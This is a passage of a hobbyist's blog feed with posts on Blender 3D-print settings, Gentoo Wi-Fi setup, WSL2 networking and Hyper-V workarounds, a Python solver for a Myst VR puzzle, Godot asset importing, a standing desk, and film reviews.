End: 10000 mm

[img alt="Screen capture Blender Viewport clipping for 3D printing"]images/blender%203d%20printing%20settings%20-%20clipping%20view.png[/img]

If you don't do this zooming in to far will eat your model and zooming out will just not work very well.

The Viewport needs one more tweak.
Guides Scale: 0.001

[img alt="Screen capture Blender Viewport guides for 3D printing"]images/blender%203d%20printing%20settings%20-%20overlay%20scale.png[/img]

Now you are ready start modelling!

After you have done modelling you may benefit from the 3D-Print Toolbox. It is totally free and comes built into Blender. You just need to enable it.

Edit/Preferences/Add-ons: 3D-Print Toolbox
[img alt="Screen capture Blender toolkit addon for 3D printing"]images/blender%203d%20printing%20settings%20-%203dtoolkit%20add-on%20prefs.png[/img]

and once enabling it you can turn on the Mesh Analysis.

Shading/Mesh Analysis

[img alt="Screen capture Blender mesh analysis for 3D printing"]images/blender%203d%20printing%20settings%20-%20overlay%20mesh%20analysis.png[/img]

In the 3D-Print Toolbox tab you can check and fix a lot of common issues.

[img alt="Screen capture Blender toolkit tab for 3D printing"]images/blender%203d%20printing%20-%20adding%20text%20-%20extrude%20and%20measure.png[/img]

I mostly use the Check All button. You can ignore the Overhanging face:1 as the Mesh Analysis shows it as the face that will contact the printer bed.
</description>
</item>
<item>
<title>you got how many youtube subscribers</title>
<pubDate>Tue, 01 Feb 2022 21:55:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2022.html#p010220222155</link>
<description>
February has brought a surprising and unexpected update around something I started 6 years ago.

[img alt="screen capture of YouTube 102 subscriber count"]images/youtube_100plus_subscribers.png[/img]

That's right, 102 subscribers!

21.5 subscribers per year (apx)

Not bad considering I never ask anyone to subscribe :)
</description>
</item>
<item>
<title>dusty</title>
<pubDate>Sun, 30 Jan 2022 13:09:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p300120221309</link>
<description>
and it doesn't look nearly as dusty in real life :p
</description>
</item>
<item>
<title>standing at the standing desk setup for standing and sitting</title>
<pubDate>Sun, 30 Jan 2022 13:03:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p300120221303</link>
<description>
Here is my standing desk setup

[img alt="standing desk linux setup"]images/standing_desk_setup_2022-01-30.jpg[/img]

Starting at the top we have the same monitor that I have had for years. 
AOC e2752Vq 27" - Has HDMI, Display Port, DVI and VGA - It just works with everything :) Only negative is the controls are a pain to use. Buttons require so much force the monitor lifts up and there are no labels, you have to count which button you are on.
Neofetch is providing the ASCII Gentoo logo and information. This just part of my login script.
On the far right is Conky displaying all the running information. Date/time, CPU, LAN etc etc. This should be part of my login but I am still configuring it.
The Logi speakers are the most basic and cheap things I could find at my local Tesco. My 15-20 year old previous speakers blew up :( Bad motivator.
The monitor stand was the cheapest thing I could find on Amazon after scouring the local shops and other options. £11.04 Had to do a lot of scrolling to get past all the twice as expensive stuff amazon sends you.
The standing desk itself. VonHaus £150 (see more info below).
My CMStorm keyboard. That was part of a mouse combo and mouse has died. Really want bright back lit keys.
A lovely Logitech G502 SE Hero mouse. That is just a joy to use. £40 but worth it. (I think that is more than the CMStorm combo pack).
The mouse mat was recovered from the bin. Previous owner had broken the RGB strip around the edge. As you can see I took a knife to it and it does a great job.
The wires underneath the desk are a mess because I haven't tried to manage them yet, but it is on the list.
The white radiator is permanently off. I am a generally hot person :D

The VonHaus standing desk has a manual crank (in photo on right of mouse). This can be folded under the desk or used to change the height from 74cm to 124cm.
When I was looking for a standing desk the motorised automatic height adjustment options started at £200+ I also found that a large number didn't have the height range up to 124cm and I am a tall lad. Double and triple check your height requirements before you buy. I was surprised how many do not have a full range between sitting and standing.

The standing desk experience is interesting. Typing is very easy and intuitive. Really need a taller monitor riser, but I have a plan for that. 

It is nice to be able to crank the desk to sitting height and that brings me on to my next point. If you bought a standing desk to fix back ache/pain then you need to understand how much you need to move around. Sitting allows you to slouch, standing doesn't and I get lower back ache after about an hours usage.

The key is to keep moving your legs and body. Swaying or using step is good. If all else fails set to sitting height :)

Of course the main reason I wanted a standing desk was the space saving. This thing will fit in just about any corner, though it has no wheels and can be awkward to move.

Should everyone get a standing desk? No, but it does fit a specific niche for me.
</description>
</item>
<item>
<title>graphing 2021 posts</title>
<pubDate>Sat, 08 Jan 2022 16:22:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p080120221622</link>
<description>
And a few graphs, just because ... reasons :D

[img alt="2021 graph number of posts and images"]images/yearlysum2021_num_of_posts_and_images.png[/img]
2021 graph number of posts and images

[img alt="Length of posts"]images/yearlysum2021_lenght_of_posts.png[/img]
Length of posts

[img alt="combined graph"]images/yearlysum2021_v1.png[/img]
combined graph attempt
</description>
</item>
<item>
<title>yearly summary 2021</title>
<pubDate>Sat, 08 Jan 2022 16:16:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p080120221616</link>
<description>
Yearly review

Posts
Sadly I missed posting in the month of June. The last time that happened was 2011! Still, I had a good excuse and made up for it a bit later.

Total number of posts 57

Tags
Total number of tags recorded in the flog db
1899

of which were used in 2021
394

Top tags
19 [url title="VR"]/f-log/tagging/vr.xml[/url]
12 [url title="blender"]/f-log/tagging/blender.xml[/url]
8 [url title="update"]/f-log/tagging/update.xml[/url]
7 [url title="quest2"]/f-log/tagging/quest2.xml[/url]
7 [url title="htcvive"]/f-log/tagging/htcvive.xml[/url]

Hopefully [url title="Godot"]/f-log/tagging/godot.xml[/url] can make it in to the top tags this year.

See the whole year [url title="Year 2021 summary"]year2021.html[/url]
See the 20 years of posts [url title="The archive"]archive.html[/url]

</description>
</item>
<item>
<title>a few Movie and Series reviews</title>
<pubDate>Mon, 03 Jan 2022 22:52:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p030120222252</link>
<description>
Just before I release the annual Yearly Summary...

Here are a few Movie and Series reviews

Spider-man - No Way Home :: Massive thumbs up! Lots of fan service, but also lots of good story/characters.
The Matrix Resurrections :: Thumbs up. You are going to either love or hate this. Lots and lots of fans service, but a genuinely interesting plot that takes the series in a new direction. I kept smiling throughout.
Falcon and Winter Soldier :: Takes a few episodes to get going and shows some oddly bad special effects. Also some oddly placed special effect sequences. After that it finds its feet and leads to good solid story that is worth your time.
Hawkeye :: Wasn't expecting much and it blew my socks off! Not what I expected from the word go. Genuinely cared about the characters. Want to see more of this great cast.
Snowpiercer :: Yes, that old film with Captain America. Never seen it before and ... Three key observations. 1) It's a horror film first and science fiction second. 2) The actual SY-FI ending is very good, not sure it's worth the runtime. 3) All this is let down by technical plot holes all over the place. Like, where does everyone eat/sleep/toilet/etc and why does the number of carriages change so often?

Don't get me started on the "shoot across to other carriages while going around a steep bend" bit :(

</description>
</item>
<item>
<title>Life has become a little more strenuous than normal</title>
<pubDate>Mon, 03 Jan 2022 22:01:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2022.html#p030120222201</link>
<description>
Life has become a little more strenuous than normal.

All technology endeavours have taken a huge dive, time-wise.

I now have a standing desk. Which is interesting as you have to keep moving :)
</description>
</item>
<item>
<title>gentoo supplicant transplant</title>
<pubDate>Sat, 18 Dec 2021 19:50:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2021.html#p181220211950</link>
<description>
I knew I was going to have to switch my Desktop from Ethernet to Wifi, so I made sure the kernel was updated for Wifi and I had the Wifi card ID'd with correct drivers/firmware.

But... time was against me. I ended up finding an Ethernet cable I could directly connect to the Wifi box. Problem being I never got the start to finish process getting Wifi on Gentoo Linux working.

Fast forward a week and I have no choice. My only option is to try surfing for tutorials on Gentoo Wifi on my phone while typing commands on a keyboard on the floor. Bottom line? I had set up the kernel correctly for my card, but I had no Wifi Linux tools installed.

So... I ran the emerge command to install wpa_supplicant and noted all the errors with package URLs

[code]emerge -fpav wpa_supplicant[/code]

(f=fetch, p=pretend, a=ask, v=verbose)

Then I used wget to download the files (including all dependencies) in Windows WSL(1)

Copied the tarballs to /var/cache/distfiles/

[code]chown portage:portage /var/cache/distfiles/wpa_supplicant-2.9*[/code]
change ownership to portage
 
did a normal emerge and it happily installed from the new local files!

[code]emerge -av wpa_supplicant[/code]
 
created a wpa passphrase file 
[code]wpa_passphrase "My SSID" > /etc/wpa.conf
chmod -v 600 /etc/wpa.conf[/code]
 
then just ran the incredibly simple command (sarcasm) 
[code]wpa_supplicant -Dnl80211,wext -iwlp5s0 -c/etc/wpa.conf -B[/code]
 
restarted dhcpcd
[code]rc-service dhcpcd restart[/code]
 
and I could finally get my email!
 
(Wifi was from my Pixel Hot-spot with no idea how much data was left!)
 
Then... well, stay tuned for more 
</description>
</item>
<item>
<title>flog update equals small potatoes</title>
<pubDate>Sun, 28 Nov 2021 21:51:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2021.html#p281120212151</link>
<description>
OK, nothing has happened in a while, but hopefully that will change next month.

What has happened recently is I had a tooth pulled, room got flooded and served notice (in various domains)

I want to live!
</description>
</item>
<item>
<title>godot is not hear yet</title>
<pubDate>Fri, 05 Nov 2021 15:34:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2021.html#p051120211534</link>
<description>
I am working on a secret project in Godot, which I have to say feels very mature for a open source game engine.

more to come ...
</description>
</item>
<item>
<title>quick watching update</title>
<pubDate>Sat, 30 Oct 2021 18:53:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211853</link>
<description>
I have watched a number of films in the cinema this month.

Ron's gone wrong - Very funny and highly recommended
Dune (part 1) - hmmm missing a lot, very long, but also show promise. Friends who had not seen the original loved it
Boss baby 2 - OK, nothing special
Free guy - very funny, clever and highly recommended
Venom 2 - Loved it! they really upped the comedy levels from the first one

and

Infinites - Good special effects, but unwatchably all over the place
Bad Batch Season 1 - Good, bad and a little ugly. Interested in what season 2 can bring to the table.
</description>
</item>
<item>
<title>a short investigation into vr reference graffiti</title>
<pubDate>Sat, 30 Oct 2021 18:44:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211844</link>
<description>


I wanted to use reference images in Kingspray Graffiti VR, so I grabbed some random images and put them in the right folder just to test it out.

[code]Android/data/com.infectiousape.kingspray/files/ReferenceImages[/code]

And one of the two showed up.

At the time I thought it was the fact that the one that worked was landscape and fitted in the mini screen in the game and the other was portrait ... fun fact, that wasn't the reason.

I now knew that reference images do work (at least sometimes). 

Original tests:
<table>
  <thead>
    <tr>
	  <th>No.</th>
	  <th>Image</th>
	  <th>resolution</th>
	  <th>filename</th>
	  <th>file type</th>
	  <th>file size</th>
	</tr>
  </thead>
  <tbody>
    <tr>
	  <td>7</td>
	  <td><img src="images/ksGVR_ref_007.png" alt="ksGVR_ref_007" ></td>
	  <td>991x1110</td>
	  <td>Capture everest cert.jpg</td>
	  <td>JPG</td>
	  <td>97K</td>
	</tr>
	<tr>
	  <td>8</td>
	  <td><img src="images/ksGVR_ref_008.png" alt="ksGVR_ref_008" ></td>
	  <td>1071x472</td>
	  <td>Annotation 2020-07-12 233540bp.png</td>
	  <td>PNG</td>
	  <td>129K</td>
	</tr>
  </tbody>
</table>
No. 6 did not show in the game No. 8 did.

I have this cool cartoony stormtrooper T-shirt and I wanted to try painting that.

But dumping the a photo onto the quest didn't work :(

So I tried all these variations
<table>
  <thead>
    <tr>
	  <th>No.</th>
	  <th>Image</th>
	  <th>resolution</th>
	  <th>filename</th>
	  <th>file type</th>
	  <th>file size</th>
	</tr>
  </thead>
  <tbody>
	<tr>
	  <td>1</td>
	  <td><img src="images/ksGVR_ref_001.png" alt="ksGVR_ref_001" ></td>
	  <td>1071x472</td>
	  <td>Tnnotation 2020-07-12 233540bp.png</td>
	  <td>PNG</td>
	  <td>692K</td>
	</tr>
    <tr>
	  <td>2</td>
	  <td><img src="images/ksGVR_ref_002.png" alt="ksGVR_ref_002" ></td>
	  <td>2184x1444</td>
	  <td>Graffiti Reference from Storm trooper T-shirt 1024.png</td>
	  <td>PNG</td>
	  <td>1.3M</td>
	</tr>
    <tr>
	  <td>3</td>
	  <td><img src="images/ksGVR_ref_003.png" alt="ksGVR_ref_003" ></td>
	  <td>2184x1444</td>
	  <td>Graffiti Reference from Storm trooper T-shirt 1024.jpg</td>
	  <td>JPG</td>
	  <td>242K</td>
	</tr>
    <tr>
	  <td>4</td>
	  <td><img src="images/ksGVR_ref_004.png" alt="ksGVR_ref_004" ></td>
	  <td>1024x677</td>
	  <td>Graffiti Reference from Storm trooper T-shirt.png</td>
	  <td>PNG</td>
	  <td>4.6M</td>
	</tr>
    <tr>
	  <td>5</td>
	  <td><img src="images/ksGVR_ref_005.png" alt="ksGVR_ref_005" ></td>
	  <td>1024x677</td>
	  <td>Graffiti Reference from Storm trooper T-shirt.jpg</td>
	  <td>JPG</td>
	  <td>924K</td>
	</tr>
    <tr>
	  <td>6</td>
	  <td><img src="images/ksGVR_ref_006.png" alt="ksGVR_ref_006" ></td>
	  <td>991x1110</td>
	  <td>Capture everest cert.png</td>
	  <td>PNG</td>
	  <td>613K</td>
	</tr>
    <tr>
	  <td>7</td>
	  <td><img src="images/ksGVR_ref_007.png" alt="ksGVR_ref_007" ></td>
	  <td>991x1110</td>
	  <td>Capture everest cert.jpg</td>
	  <td>JPG</td>
	  <td>97K</td>
	</tr>
	<tr>
	  <td>8</td>
	  <td><img src="images/ksGVR_ref_008.png" alt="ksGVR_ref_008" ></td>
	  <td>1071x472</td>
	  <td>Annotation 2020-07-12 233540bp.png</td>
	  <td>PNG</td>
	  <td>129K</td>
	</tr>
  </tbody>
</table>

and these are the only ones that work
<table>
  <thead>
    <tr>
	  <th>No.</th>
	  <th>Image</th>
	  <th>resolution</th>
	  <th>filename</th>
	  <th>file type</th>
	  <th>file size</th>
	</tr>
  </thead>
  <tbody>
    <tr>
	  <td>3</td>
	  <td><img src="images/ksGVR_ref_003.png" alt="ksGVR_ref_003" ></td>
	  <td>2184x1444</td>
	  <td>Graffiti Reference from Storm trooper T-shirt 1024.jpg</td>
	  <td>JPG</td>
	  <td>242K</td>
	</tr>
    <tr>
	  <td>7</td>
	  <td><img src="images/ksGVR_ref_007.png" alt="ksGVR_ref_007" ></td>
	  <td>991x1110</td>
	  <td>Capture everest cert.jpg</td>
	  <td>JPG</td>
	  <td>97K</td>
	</tr>
	<tr>
	  <td>8</td>
	  <td><img src="images/ksGVR_ref_008.png" alt="ksGVR_ref_008" ></td>
	  <td>1071x472</td>
	  <td>Annotation 2020-07-12 233540bp.png</td>
	  <td>PNG</td>
	  <td>129K</td>
	</tr>
  </tbody>
</table>


which tells us that

Image Type: Not an issue, both JPG and PNG are in the working set
Resolution: Not an issue, multiple examples of the same resolution in the working and non-working set. 
Layout: Not an issue, both landscape and portrait are in the working set
File Size: Might be an issue. All files out side the working set are larger than the largest within the working set.
Aspect Ratio: Not an issue, multiple examples of the same resolution in the working and non-working set.
Filename: Not an issue, spaces and other non-alphanumeric characters in both the working and non-working set. 
Filename length: also not an issue.

I am especially annoyed that No. 1 did not work. As it is the T-shirt image scaled down and pasted onto the WORKING No. 8 !

[code]file *nnotation*.png[/code]
[output]Annotation 2020-07-12 233540bp.png: PNG image data, 1071 x 472, 8-bit/color RGBA, non-interlaced
Tnnotation 2020-07-12 233540bp.png: PNG image data, 1071 x 472, 8-bit/color RGBA, non-interlaced[/output]

Which leaves me with ...

Maybe it's the file size? But it seems unlikely.

More testing is required. It's a right pain to hook the Oculus Quest 2 up to a PC. Have to find the right cable and then allow file permissions from inside the headset and then dig around for the right folders.

... later that day ...

Right so I created a test image by taking the Stormtrooper T-shirt photo and adding random noise. This meant that even as a JPG I caused the file size to be over a Megabyte.
Then I created and labelled 10 more images. Each being saved from GIMP with a different compression quality. As quality reduced so did file size.

The files 509K and over did not appear in the game.  

The remaining files that were 413K or less did appear!

The images do appear quite small in the game, so they do not need to be high quality. Still a pity that there is no documentation for Quest 2 version.
</description>
</item>
<item>
<title>vr mist myst and the impossible puzzle</title>
<pubDate>Sat, 30 Oct 2021 18:37:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211837</link>
<description>
Myst was an early COATROOM game in the same vein as 7th Guest. Oculus had a sale on the VR version and I thought it would a be a fun trip into nostalgia land.

But it turns out that although I had played a lot of CD ROM graphical puzzle games from the era (including 7th Guest), I had never completed or even played Myst.

It is a great fit for the Oculus Quest 2 and the VR in general. Nice environments, 3D sound and genuinely interesting puzzles.

But I want to concentrate on one puzzle that had me stumped.

I had come across a key, in the form of a time and three digit value. Which was what I was looking for.

[img alt="vr screen capture Myst key"]images/myst_vr_puzzle_key.jpg[/img]

The time unlocked the clock tower and led to a set of gears with three levers.

[img alt="VR screen capture Myst whole puzzle"]images/myst_vr_whole_puzzle.jpg[/img]

The two main levers rotated the gears

[img alt="VR screen capture Myst levers"]images/myst_vr_levers.jpg[/img]

These gears, when rotated to the correct value unlocked the next puzzle.

[img alt="VR screen capture Myst gears"]images/myst_vr_whole_gears_puzzle.jpg[/img]

They started at 3,3,3 and the key stated they need to be set to 2,2,1

[img alt="VR screen capture Myst gears close"]images/myst_vr_gears.jpg[/img]

But how to set the values correctly for three gears and only two levers?

Lever 1 rotated the top two gears and Lever 2 rotated the bottom two gears. Which meant the middle gear was rotated whatever move you made. Lever 3 reset the puzzle and was required as there was a maximum number of moves before the mechanism seized.

I tried a number of different move combinations before I gave up and went onto something else.

When I came back I tried again and failed.

But then I remembered the moto "If in doubt cheat!".

So I wrote myself a quick README file

[code]Quick Python3 project to solve the Myst (VR) puzzle with convoluted gears

There are three levers and three combination gears.

Lever 1 rotates CW both the 1st and 2nd gears
Lever 2 rotates CW both the 2nd and 3rd gears
Lever 3 resets the gears

Numbers 1,2,3 are repeated on each gear.

The goal is 2,2,1 and the initial state is 3,3,3 [/code]

Notice the reference to "Quick" ...

The code was relatively straightforward and appeared to work

[code]# Python3 Myst gear puzzle brute force solver
import copy

# Create the gears as gear objects containing the right number of values repeating
def create_gears(values, number):
    result = { "Gears" : [] }
    for i in range(3):
        result["Gears"].append({"Gear":[]} )
        for n in range(number):
            result["Gears"][i]["Gear"].extend(values)
    return result


# Rotate a single gear
def rotate_gear(gear_id, gears):
    if gears is None: return None
    self_gears = copy.deepcopy(gears)
    if len(self_gears["Gears"][gear_id]["Gear"]) &lt; 1: return None
    self_gears["Gears"][gear_id]["Gear"] = self_gears["Gears"][gear_id]["Gear"][1:]
    return self_gears 


# operate a lever
def op_lever(lever, gears, l1 = '1'):
    self_gears = copy.deepcopy(gears)
    self_gears = rotate_gear(1, self_gears) 
    if (lever == l1):
        self_gears = rotate_gear(0, self_gears) 
    else:
        self_gears = rotate_gear(2, self_gears) 
    return self_gears

# convert an int into binary and use that pattern for the levers
# returns success if target found or None
def process_levers(lever_codes, target, l1 = '1'):
    gears = create_gears([3,1,2], 3) # these values match the game
    length_bin = len(bin(lever_codes)[2:])
    result = False
    print("Working through bit pattern [{}]".format(bin(lever_codes)))
    for i in range(length_bin):
        gears = op_lever(bin(lever_codes)[i+2:i+3], gears, l1)
        result = compare_state_to_target(gears, target)
    return result


# compare the current state of the gears to the target value
def compare_state_to_target(state, target):
    result = True
    for i in range(3):
        if result and len(state["Gears"][i]["Gear"]) &gt; 0:
            result = state["Gears"][i]["Gear"][0] == target[i]
        else:
            result = False
    return result


# kickstart
def main():
    max = 1000000
    i = 256 # 9 bits starting with a 1 (remember we do this again where the levers are reversed) 
    result = False
    target = [2, 1, 1]
    while not result and i &lt; max and len(bin(i)) &lt; 10+2:
        result = process_levers(i, target)
        i += 1 
    print("Terminated with {} at {}".format(result, i))
    if not result:
        i =  256
        while not result and i &lt; max and len(bin(i)) &lt; 10+2:
            result = process_levers(i, target, '0')
            i += 1 
        print("X-Terminated with {} at {}".format(result, i))


if __name__ == '__main__':
    main()
[/code]

It passed all my tests, but the solution was not forthcoming!

Gobsmacked with my own ineptitude, I resulted to Googling the solution...

And to my surprise I find the first result is the mathematical proof that the puzzle is unsolvable without "cheating" the next few results are people complaining there is no solution!

At least I am not alone :D

So what is going on?

Well, Lever 3 (the reset one) is a pull and release and that is all, but the other two levers have a sneaky side hustle in doing something different if YOU DON'T LET GO!

and once you know that the puzzle is really easy.
</description>
</item>
<item>
<title>godot and the hands of vr</title>
<pubDate>Sat, 30 Oct 2021 18:33:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211833</link>
<description>
Godot notes for importing from Blender

Make sure you rename all you materials or get rid of name clashes.

Export gLTF .glb(binary) only option to change was - Include/Selected objects

Now this where things get tricky. Or, more to the point, unexpected.

Make sure you have added a folder called "imports" (you can name it anything, but imports makes sense) and then another one called "assets". Both in the root of the project.

Now open an OS file browser and navigate to the new "imports" folder. Copy in the .glb file into the "imports" folder.

Go back to Godot and click on the (currently empty) "imports" folder and Godot will import the file.

That completes STAGE 1

Now click on the .glb file in the "imports" folder in Godot and click the button "Open Anyway".
From the "File" menu "Save Scene As" and save it into your "assets" folder.
This creates a new ".tscn" file.

That completes STAGE 2

In your new scene (will be in a new tab at the top) click the Mesh under the scene root. 
On the far right hand side there will be a mini thumbnail, click that and select "Save" and save it into your "assets" folder.
This creates a new ".tres" file.

That completes STAGE 3

Now when ever you need a mesh you can click on that same mini thumbnail and click "Load" and select your ".tres" mesh.

This actually makes a lot of sense if you break it down.

Stage 1 imports the raw gLTF. But it cannot be edited or used in its current state.
Stage 2 saves your scene as a ".tscn" file that can contain anything a Godot scene can hold (i.e. and entire application)
Stage 3 saves out the individual mesh as a ".tres" file that you can use as a single mesh.

Here we have a 3D scene with mesh objects from Blender after following the process above.

[img alt="godot example mesh imports"]images/godot_example_mesh_imports.jpg[/img]

</description>
</item>
<item>
<title>wsl2 defeated</title>
<pubDate>Sat, 30 Oct 2021 18:30:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211830</link>
<description>
Right, after all that mucking about with WSL version 2 I decided to go back to version 1...

[code]wsl --set-version Ubuntu-20.04 1[/code]

!%* !! You need to enable Hyper-v just to run the conversion routine :(

So I had to run
[code]DISM /Online /Enable-Feature:VirtualMachinePlatform 
PowerShell Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -All 
[/code]
Reboot

then run 
[code]wsl --set-version Ubuntu-20.04 1[/code]

which took just over 5 minutes, but did work and then run

[code]DISM /Online /Disable-Feature:VirtualMachinePlatform 
PowerShell Disable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform 
bcdedit /set hypervisorlaunchtype off
[/code]
Reboot

Just to get back to basic functionality.
</description>
</item>
<item>
<title>wsl2 the horror continues</title>
<pubDate>Sat, 30 Oct 2021 18:28:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211828</link>
<description>
WSL 2, the next generation of Windows Subsystem for Linux has a dirty little secret.

This falls down to the classic: 99% of users will never encounter this Networking situation, but 1000s of individuals will.
What's worse is that it worked perfectly in WSL 1

What am I talking about?

Networking. Specifically the way WSL is allocated virtual networking interfaces.

In WSL 1, the network interface was [em]Bridged[/em], meaning that the any traffic to and from both the host machine and the WSL instance would be seen as the same place. They shared the same IP address.

In turn, this meant I could spin up a web server in WSL and connect to it from any computer on the same network.

With WSL 2, the network interface is handled by Hyper-v and is defaulted to [em]NAT[/em] (Network Address Translation). This means there is no direct route for any service running in the WSL 2 instance to be addressable from any machine other than the host. It has not only a different IP address it is on a completely different subnet.

This should be easy to rectify, but ... well I am blogging about it ...

In theory, the Hyper-v virtual networking switch should be configurable and can be set back to [em]Bridged[/em] mode. Except that if you do then *all* networking goes directly to the WSL 2 instance, your Windows loses then ability to do any other networking. Not to mention Windows Home users do not have access to the Hyper-v manager.
Microsoft have a little note on their WSL 2 page stating that the networking is different from WSL 1 and that the user should treat it like any other virtual machine and setup virtual networking. Except that all the other virtual machine systems have GUI configuration options to handle this task (and default to sensible defaults).

So ... what if we forwarded the destination port from the host to the WSL 2 instance? This is how home internet routers work.

Some early explorers into this issue were very pleased to find that running a single command in Windows [em]netsh[/em] (as [em]portproxy[/em]) did successfully do this. Unfortunately, Microsoft in their infinite wisdom decided to randomise the IP address that WSL 2 got each and every time it was started. That meant that every time you rebooted you had to run the command again. And ... you had to have the random IP address (which only exists when you start WSL 2).

This was very painful, as firewall rules had to also match the virtual interface's details, which changed on every reboot.

It appears all this was reported back in [url title="June 2019"]https://github.com/microsoft/WSL/issues/4150[/url] and although it has 459 comments (at time of writing) and there are many many other such threads on a multitude of platforms nothing is being done about it.

Near the bottom of the thread on [url title="the GitHub issues page for this issue"]https://github.com/microsoft/WSL/issues/4150[/url] there is a Powershell script that performs all the tasks for you, but ...

You have to have already started WSL 2
You have to have Administrator permissions and then, you can run it.
(and you have to have edited it for the ports you want)
(and you get loads of errors the first time, but then it works OK)

To test that other devices on the network could see my machine at all I tried to Ping the IP address and ... Windows blocks that by default now.

You need to go into Firewall settings, Advanced and incoming. Then enable the 3-4 rules that a named "File and Printer Sharing (Echo Request - ICMPv4-In)".

Oh, and did I mentioned all this doesn't work for IPv6 and loads of people have had issues with UDP and Multicast.

All this was so I could test a revision to my Godot VR tests on the Oculus Quest 2.

Many hours were lost to trying to fix this ... YMMV
</description>
</item>
<item>
<title>wsl2 the hoor begins</title>
<pubDate>Sat, 30 Oct 2021 18:24:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211824</link>
<description>
Since late 2019 Microsoft has been touting the WSL version 2. Where WSL is Windows Subsystem for Linux. It allows you to run a full Linux system in Windows.

I have been running version 1 for ages and find it VERY useful. Everything now pushes you towards version 2 and as it has been out since 2019, I thought the most egregious bugs would have been ironed out.

How wrong could I have been ? VERY!

First off is the thing that had constantly been putting me off. No one is talking about upgrades to existing functional WSL version 1 Linux installs. Considering the convoluted route you have to take and the wording used, it sounded like it would wipe out the original version 1 install completely. 

Which is BAD. Because I am using it to run some pretty critical things. But I did make lots of backups and I did check all my documentation about reinstalling all the requirements and then I bit the bullet.

First job, after installing the kernel, was to run Powershell as Administrator. Then run the update command and wait ... took about five nerve wracking minutes.

Success! and then nothing worked.

Running Ubuntu/WSL is now demanding Hyper-v support
[output]Please enable the Virtual Machine Platform Windows feature and ensure virtualisation is enabled in the BIOS.[/output]

OK, enabled all that rebooted and everything works! In the Ubuntu/WSL environment.

Slap myself ont he back for a job well done and go about my business. But it doesn't end there :(

One of the things I like to do is run [em]browser-sync[/em] to create a local https basic web server. Then I can enter the LAN IP of the machine into the Oculus Quest 2 browser and enter my VR experiences. This didn't work.
Doing hours of research on it, showed that everyone who was trying to create a server (of any kind) to be accessible to the local network was getting unexpected failures after upgrading to WSL version 2 :(

Whats worse is all the suggestions for Microsoft to fix have gone unheeded. Including a basic toggle to disable the odd way it defaults too and the ability to keep any work arounds you create, because they are lost each time you restart.

See my next blog post for more details.

and ... the horror is not over yet.

I use VirtualBox to run Windows and Linux test machines. Haven't done it for a while, but it is very useful. 

VirtualBox refuses to run any Linux (didn't try Windows, but I believe it is the same). It is supposed to default to a slow-mode and work, but badly. I didn't even get that.

More hours of research and again it's a "thing" that all WSL version 2 users have.

Is there a work around? Yes, disable all the Hyper-v stuff WSL version 2 relies on and reboot.

[code]DISM /Online /Disable-Feature:VirtualMachinePlatform 
PowerShell Disable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform
bcdedit /set hypervisorlaunchtype off
[/code]
Reboot

and then to switch it all back on again when you need WSL version 2 again.
 
[code]DISM /Online /Enable-Feature:VirtualMachinePlatform 
PowerShell Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -All 
[/code]
Reboot

is that the end of it? Not quite

You see, to run the above commands you have to be in Powershell as an Administrator, but my WSL version 2 is in a non admin users environment and the Administrator has there own WSL instance.

Needless to say, it is all a mess and you should absolutely AVOID WSL VERSION 2 AT ALL COSTS unless you understand how to manage/mitigate these know issues. There are threads since 2019 about both of them.
</description>
</item>
<item>
<title>update hint</title>
<pubDate>Sat, 30 Oct 2021 18:17:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2021.html#p301020211817</link>
<description>
Another weird month and again lots to blog about, but be thankful I am not going into detail about the no infamous straw incident.

Prepare for a blog storm !
</description>
</item>
<item>
<title>petrol petrol everywhere but not a drop to drink</title>
<pubDate>Tue, 28 Sep 2021 19:39:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p280920211939</link>
<description>
45 minutes in a queue for petrol to finally get the the station and find they only have fuel I cannot use.

Similar thing at a different station but not quite such a long wait to be let down.

Both places proudly displayed the the fuel price on there boards, even though they had none!

I did eventually manage to get a small amount. They were limiting the maximum you could put in so I couldn't fill up completely.

Now I need fuel again. Not to worry the government says the shortages have eased. But not at anywhere I have checked.

Back in 1999 I did actually run out of fuel and was stranded due to a "run" on the petrol stations :(
</description>
</item>
<item>
<title>nothing important</title>
<pubDate>Sat, 25 Sep 2021 17:58:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p250920211758</link>
<description>
Today is the day after yesterday.

Welcome to the future.

Be careful what you wish for.
</description>
</item>
<item>
<title>deep dive into the vr scene inspector in blender</title>
<pubDate>Sat, 11 Sep 2021 20:37:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920212037</link>
<description>
So I was bit hand-wavy [url title="last time"]Sep2021.html#p110920212032[/url] with "I can switch into VR mode and see my scene"

What you need to do is go into the [em]Preferences/Add-ons[/em] and enable the [em]VR Scene Inspector[/em].
This is one of the few global add-ons, so you will not have to enable it in each scene.

Now when you expand the Property Panel (toggle with "N")

[img alt="screen capture of blender properties panel with vr scene inspector"]images/blender%20UI%20VR%20panel%202021-09-05%20202713.png[/img]

You can click "Start VR Session" to use the headset.

